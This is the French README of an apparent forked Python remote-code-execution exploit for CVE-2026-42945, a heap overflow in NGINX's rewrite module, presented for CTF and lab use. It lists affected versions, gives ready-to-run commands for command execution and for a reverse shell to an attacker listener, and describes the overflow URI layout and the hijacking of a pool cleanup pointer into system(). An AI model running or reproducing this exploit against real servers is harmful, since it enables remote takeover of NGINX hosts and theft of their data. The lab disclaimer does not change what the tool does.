
Python RCE PoC avec listener de reverse-shell pour CVE-2026-42945 (NGINX Rift)
Preuve de concept d'exécution de code à distance pour CVE-2026-42945, un débordement de tas dans le module ngx_http_rewrite_module de NGINX. Ce fork étend le PoC de déclenchement public avec un écouteur de reverse shell intégré et des paramètres d'exploitation configurables pour les environnements CTF et les laboratoires isolés.
ngx_http_rewrite_module0.6.27 – 1.30.0 ; NGINX Plus R32 – R361.30.1 / 1.31.0 ; NGINX Plus R36 P4, R35 P2, R32 P6is_args = 0, tandis que la passe de copie s'exécute sur le moteur principal avec is_args = 1, invoquant ngx_escape_uri(..., NGX_ESCAPE_ARGS). Chaque octet échappable est expansé en 3 octets, provoquant un débordement d'un tampon de tas sous-dimensionné avec des données URI contrôlées par l'attaquant.rewrite/set utilisant des captures PCRE non nommées ($1, $2) ainsi que ? dans la chaîne de remplacement ; ASLR désactivé ou adresses de base du tas/libc connues ; capacité d'arroser le tas via des corps de requêtes POST.| Fichier | Description |
|---|---|
cve_2026_42945_rce_poc.py | Exploit Python avec écouteur de reverse shell intégré et modes d'exécution de commandes. |
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--cmd "id > /tmp/pwned"
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--listen-ip 10.0.0.1 \
--listen-port 1337
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--shell-type python \
--listen-ip 10.0.0.1 \
--listen-port 1337
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--listen-ip 10.0.0.1 \
--listen-port 1337 \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000 \
--system-offset 0x50d70
ngx_pool_cleanup_s : system@libc | pointer to command | null. Ces corps occupent des emplacements de tas stables.rewrite vulnérable. Le motif de l'URI est :
/api/<349 x 'A'><969 x '+'><6-byte heap address>
cleanup d'un ngx_pool_t adjacent.cleanup corrompu invoque system(command), exécutant la commande contrôlée par l'attaquant dans le processus worker NGINX.--shell est utilisé, la commande est un payload de reverse shell et l'écouteur intégré capte la connexion entrante.Cet outil est destiné à :
Ne pas l'utiliser sur des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation explicite de test.
Utilisation à vos propres risques. L'auteur n'est pas responsable de toute utilisation non autorisée ou illégale.
Recherche sur la vulnérabilité et PoC originaux par depthfirstdisclosures (https://github.com/depthfirstdisclosures/nginx-rift). Ce fork Python avec reverse shell a été créé pour une utilisation en laboratoire red-team / CTF.